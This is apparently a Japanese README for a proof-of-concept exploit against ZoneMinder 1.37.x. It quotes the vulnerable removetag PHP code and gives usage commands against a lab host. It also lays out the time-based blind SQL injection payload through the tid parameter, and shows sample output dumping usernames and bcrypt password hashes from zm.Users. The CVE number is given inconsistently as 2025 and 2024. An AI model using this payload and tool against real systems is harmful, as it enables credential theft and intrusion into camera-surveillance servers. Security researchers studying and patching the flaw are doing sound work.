
CVE-2025-51482 POC、zm.Users から資格情報をダンプ
CVE-2024-51482 の概念実証エクスプロイトです。これは ZoneMinder v1.37. ≤ 1.37.64* における、認証済みの時間ベースのブラインド SQL インジェクションの脆弱性です。
このスクリプトは、SLEEP() ベースのオラクルに対する二分探索(バイセクション)を使用して、zm.Users テーブルからユーザー名とパスワードハッシュを抽出します。
web/ajax/event.php の removetag ハンドラは、DELETE クエリを安全にパラメータ化しますが、その後の SELECT にはユーザー制御の入力を直接文字列補間します。
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId はサニタイズなしで $_REQUEST['tid'] から直接取得されるため、tid パラメータを介したインジェクションが可能になります。
requests (pip install requests)ZMSESSID セッションクッキーpython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
引数:
--url — ZoneMinder のベース URL(例: http://cctv.htb/zm)(必須)--zmsessid — ZMSESSID クッキーの値 (必須)--sleep — 時間ベース推論のスリープ秒数(デフォルト: 3)--timeout — リクエストタイムアウト(秒)(デフォルト: sleep + 3)例:
# 基本
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# 低遅延ネットワークでの高速化
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# カスタムタイムアウト
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
ZoneMinder にログインし、ブラウザの DevTools (F12) -> Application -> Cookies を開いて、ZMSESSID の値をコピーします。または、Burp Suite で認証済みリクエストを傍受し、Cookie ヘッダーから取得します。
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 リクエストを送信します。SLEEP(2) を注入し、応答が 2 秒以上遅延することを確認します。zm.Users に対して COUNT(*) を二分探索し、アカウント数を特定します。Username と Password の全文字の ASCII 値を二分探索します(線形スキャンの 95 回に対し、1 文字あたり約 7 リクエスト)。ペイロード構造:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 が必要です。脆弱な SELECT の前に実行される安全な DELETE は、これがないと 500 エラーを返し、インジェクションに到達する前に実行が中止されるためです。
このツールは許可されたセキュリティテストおよび教育目的の研究専用です。
所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。
作者は、本ソフトウェアの誤用または損害について一切の責任を負いません。